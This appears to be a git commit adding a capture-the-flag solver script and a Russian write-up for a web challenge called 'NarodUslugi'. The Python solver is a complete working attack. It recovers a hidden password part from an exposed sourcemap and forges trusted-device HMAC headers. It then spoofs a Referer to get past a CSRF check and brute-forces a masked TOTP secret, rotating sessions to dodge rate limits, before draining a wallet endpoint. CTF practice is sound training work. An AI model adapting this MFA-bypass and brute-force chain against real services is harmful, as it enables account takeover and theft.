Init. import

This commit is contained in:
Caplag
2025-12-22 05:19:38 +03:00
commit 39a4c5e8ca
58 changed files with 3063 additions and 0 deletions

317
GAME/narod/solver.py Normal file
View File

@@ -0,0 +1,317 @@
#!/usr/bin/env python3
import argparse
import base64
import hashlib
import hmac
import http.cookiejar
import json
import re
import ssl
import struct
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
BASE32_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
def read_target_file(path):
url = None
parta = None
user = None
try:
with open(path, "r", encoding="utf-8") as fh:
for raw in fh:
line = raw.strip()
if not line or line.startswith("#"):
continue
if "=" in line:
key, value = line.split("=", 1)
key = key.strip().lower()
value = value.strip()
if key in ("url", "target", "host"):
url = value
elif key in ("parta", "pwd_part_a", "pwda", "a"):
parta = value
elif key in ("user", "username", "narod_user"):
user = value
else:
if url is None:
url = line
elif parta is None:
parta = line
elif user is None:
user = line
except FileNotFoundError:
return None, None, None
return url, parta, user
def normalize_base(url):
url = (url or "").strip()
if not url:
return ""
if not re.match(r"^https?://", url, re.IGNORECASE):
url = "http://" + url
return url.rstrip("/")
def make_opener(jar, insecure=False):
handlers = [urllib.request.HTTPCookieProcessor(jar)]
if insecure:
ctx = ssl._create_unverified_context()
handlers.append(urllib.request.HTTPSHandler(context=ctx))
return urllib.request.build_opener(*handlers)
def http_request(opener, method, url, data=None, headers=None, timeout=10):
headers = dict(headers or {})
body = None
if data is not None:
if isinstance(data, dict):
body = urllib.parse.urlencode(data).encode("utf-8")
headers.setdefault("Content-Type", "application/x-www-form-urlencoded")
elif isinstance(data, (bytes, bytearray)):
body = data
else:
body = str(data).encode("utf-8")
req = urllib.request.Request(url, data=body, headers=headers, method=method)
try:
with opener.open(req, timeout=timeout) as resp:
return resp.getcode(), resp.headers, resp.read()
except urllib.error.HTTPError as exc:
return exc.code, exc.headers, exc.read()
def extract_username(html_text):
m = re.search(r'name="username"[^>]*placeholder="([^"]+)"', html_text, re.IGNORECASE)
return m.group(1) if m else None
def extract_pepper_xor_hex(map_text):
try:
data = json.loads(map_text)
except json.JSONDecodeError:
return None
for src in data.get("sourcesContent", []):
m = re.search(r'pepper_xor_hex\s*=\s*"([0-9a-fA-F]+)"', src)
if m:
return m.group(1).lower()
return None
def derive_part_b(user, pepper_xor_hex):
mask = hashlib.sha1(user.encode("utf-8")).digest()[:6]
pepper_bytes = bytes.fromhex(pepper_xor_hex)
out = bytes(pepper_bytes[i] ^ mask[i % len(mask)] for i in range(len(pepper_bytes)))
return out.decode("utf-8", errors="replace")
def derive_pass(parta, partb):
material = f"{parta}:{partb}".encode("utf-8")
return hashlib.sha1(material).hexdigest()[:12]
def trusted_headers(pass_hash):
ts = str(int(time.time()))
sig = hmac.new(pass_hash.encode("utf-8"), ts.encode("utf-8"), hashlib.sha1).hexdigest()
return {"X-TS": ts, "X-Trusted-Device": sig}
def base32_decode(secret_b32):
secret = re.sub(r"[^A-Z2-7]", "", secret_b32.upper())
pad = "=" * ((8 - (len(secret) % 8)) % 8)
return base64.b32decode(secret + pad, casefold=True)
def hotp(secret_bytes, counter):
msg = struct.pack(">Q", counter)
digest = hmac.new(secret_bytes, msg, hashlib.sha1).digest()
offset = digest[-1] & 0x0F
code = struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7FFFFFFF
return f"{code % 1_000_000:06d}"
def totp(secret_b32, timestamp, step=30):
key = base32_decode(secret_b32)
counter = int(timestamp // step)
return hotp(key, counter)
def fetch_server_offset(opener, base_url):
status_url = base_url + "/__status__"
code, _, body = http_request(opener, "GET", status_url)
if code != 200:
return 0.0
try:
data = json.loads(body.decode("utf-8"))
server_ms = float(data.get("now", 0))
if server_ms:
return (server_ms / 1000.0) - time.time()
except (ValueError, json.JSONDecodeError):
pass
return 0.0
def login(opener, base_url, user, password, trusted=False):
headers = {}
if trusted:
headers.update(trusted_headers(password))
data = {"username": user, "password": password}
return http_request(opener, "POST", base_url + "/login", data=data, headers=headers)
def get_masked_secret(opener, base_url):
headers = {"Referer": base_url + "/profile"}
code, _, body = http_request(
opener,
"GET",
base_url + "/profile/export?fmt=ini",
headers=headers,
)
if code != 200:
return None
text = body.decode("utf-8", errors="replace")
m = re.search(r"otp_secret=([A-Z2-7?]+)", text)
return m.group(1) if m else None
def iter_candidates(masked_secret):
if not masked_secret or not masked_secret.endswith("??"):
return
prefix = masked_secret[:-2].upper()
for a in BASE32_ALPHABET:
for b in BASE32_ALPHABET:
yield prefix + a + b
def mfa_attempt(opener, base_url, otp_code):
code, _, body = http_request(
opener,
"POST",
base_url + "/mfa",
data={"otp": otp_code},
)
if code == 200 and b"/wallet" in body:
return True
return False
def fetch_flag(opener, base_url):
code, _, body = http_request(opener, "GET", base_url + "/wallet/drain")
if code != 200:
return None, None
text = body.decode("utf-8", errors="replace")
flag = None
game_code = None
m_flag = re.search(r"flag\{[^}]+\}", text)
if m_flag:
flag = m_flag.group(0)
m_code = re.search(r"game_code:[a-z0-9_:-]+", text)
if m_code:
game_code = m_code.group(0)
return flag, game_code
def main():
parser = argparse.ArgumentParser(description="NarodUslugi solver")
parser.add_argument("--target-file", default="target.txt", help="File with target URL (default: target.txt)")
parser.add_argument("--url", help="Base URL, e.g. http://host:7000")
parser.add_argument("--parta", help="PWD_PART_A value")
parser.add_argument("--user", help="Override username")
parser.add_argument("--insecure", action="store_true", help="Disable TLS verification")
parser.add_argument("--max-per-session", type=int, default=80, help="Max OTP attempts per session")
args = parser.parse_args()
file_url, file_parta, file_user = read_target_file(args.target_file)
base_url = normalize_base(args.url or file_url)
parta = args.parta or file_parta
user = args.user or file_user
if not base_url:
print("Missing target URL. Provide --url or create target.txt.", file=sys.stderr)
sys.exit(1)
jar = http.cookiejar.CookieJar()
opener = make_opener(jar, insecure=args.insecure)
code, _, body = http_request(opener, "GET", base_url + "/")
if code != 200:
print(f"Failed to load login page: {code}", file=sys.stderr)
sys.exit(1)
html = body.decode("utf-8", errors="replace")
if not user:
user = extract_username(html)
if not user:
print("Failed to detect username; pass --user or add to target file.", file=sys.stderr)
sys.exit(1)
code, _, body = http_request(opener, "GET", base_url + "/assets/app.js.map")
if code != 200:
print(f"Failed to fetch sourcemap: {code}", file=sys.stderr)
sys.exit(1)
pepper_xor_hex = extract_pepper_xor_hex(body.decode("utf-8", errors="replace"))
if not pepper_xor_hex:
print("Failed to extract pepper_xor_hex from sourcemap.", file=sys.stderr)
sys.exit(1)
partb = derive_part_b(user, pepper_xor_hex)
if not parta:
print("Missing PWD_PART_A; pass --parta or add to target file.", file=sys.stderr)
sys.exit(1)
password = derive_pass(parta, partb)
# Trusted login to get masked OTP secret.
trusted_jar = http.cookiejar.CookieJar()
trusted_opener = make_opener(trusted_jar, insecure=args.insecure)
code, _, _ = login(trusted_opener, base_url, user, password, trusted=True)
if code == 429:
print("Trusted-device login blocked (active trust). Try later or from new IP.", file=sys.stderr)
sys.exit(1)
if code != 200:
print(f"Trusted-device login failed: {code}", file=sys.stderr)
sys.exit(1)
masked_secret = get_masked_secret(trusted_opener, base_url)
if not masked_secret:
print("Failed to retrieve masked OTP secret.", file=sys.stderr)
sys.exit(1)
offset = fetch_server_offset(opener, base_url)
attempts = 0
session_opener = None
for candidate in iter_candidates(masked_secret):
if session_opener is None or attempts >= args.max_per_session:
session_jar = http.cookiejar.CookieJar()
session_opener = make_opener(session_jar, insecure=args.insecure)
code, _, _ = login(session_opener, base_url, user, password, trusted=False)
if code != 200:
print(f"Login failed during brute-force: {code}", file=sys.stderr)
sys.exit(1)
attempts = 0
now = time.time() + offset
otp = totp(candidate, now)
if mfa_attempt(session_opener, base_url, otp):
flag, game_code = fetch_flag(session_opener, base_url)
print(f"user={user}")
print(f"pass={password}")
print(f"otp_secret={candidate}")
if flag:
print(flag)
if game_code:
print(game_code)
return
attempts += 1
print("OTP secret not found in search space.", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()

91
GAME/narod/writeup.md Normal file
View File

@@ -0,0 +1,91 @@
# NarodUslugi - полный разбор (пошагово)
Этот разбор объясняет, как устроен сервис и как решатель получает флаг.
Ссылки идут на локальные файлы задачи в этой директории.
## 1) Входные данные и их источники
- URL цели, partA и user можно читать из `target.txt` или передать через CLI.
- Поведение сервера описано в `files/server.js`.
- Логика решателя находится в `solver.py`.
- Значения окружения указаны в `web_naroduslugi_6.yml`.
## 2) Формула пароля (на сервере)
В `files/server.js` сервер считает пароль так:
- `PASS = sha1(f"{PWD_PART_A}:{PWD_PART_B}").hexdigest()[:12]`
`partA` у нас есть, но `partB` скрыт.
## 3) Где спрятан partB
Эндпоинт `/assets/app.js.map` отдает sourcemap со строкой:
- `pepper_xor_hex` (hex-строка)
Она вычисляется так:
- `pepper_xor_hex = xorHex(PWD_PART_B, sha1(user)[:6])`
Значит `partB` можно восстановить, если известен `user`.
## 4) Как восстановить partB
Шаги, которые делает `solver.py`:
1. `mask = sha1(user).digest()[:6]`
2. Преобразовать `pepper_xor_hex` в байты.
3. XOR-нуть каждый байт с `mask` (по кругу).
4. Декодировать результат как UTF-8 и получить `partB`.
После этого вычисляется пароль:
- `password = sha1(f"{partA}:{partB}").hexdigest()[:12]`
## 5) Trusted-device логин для доступа к экспорту профиля
Есть альтернативная авторизация, описанная в `/.well-known/`:
- Заголовки: `X-TS` и `X-Trusted-Device`
- `X-Trusted-Device = hex(hmac_sha1(pass, ts))`
- `ts` должен быть в окне 120 секунд
Если заголовки валидны, сессия помечается как `mfa=true`, но
`mfaOtp=false`. Это дает доступ к `/profile` и `/profile/export`.
## 6) Экспорт OTP-секрета отдается с маской
`/profile/export?fmt=ini` возвращает:
- `otp_secret` с заменой последних 2 base32-символов на `??`
Есть CSRF-проверка: нужен `Referer: /profile`.
Решатель выставляет этот заголовок.
## 7) Брут последних 2 base32-символов
Алфавит base32 длиной 32, значит всего 32 * 32 = 1024 вариантов.
Решатель перебирает все кандидаты:
1. Логинится обычным способом (без trusted заголовков).
2. Считает TOTP для кандидата.
3. POST на `/mfa` с `otp`.
4. При успехе открывает `/wallet` и `/wallet/drain`.
## 8) Синхронизация времени
Решатель читает `/__status__`, чтобы получить смещение времени сервера
и учитывать его при генерации TOTP (защита от дрейфа часов).
## 9) Получение флага
Если OTP верный, сессия получает `mfaOtp=true`, и `/wallet/drain`
возвращает флаг.
## 10) Важные ловушки
- Повторный trusted-логин во время активного окна доверия вызывает бан.
- Если trusted-сессия протухла без OTP, при следующем запросе будет бан.
- Решатель использует отдельные cookie-jar и лимит попыток на сессию.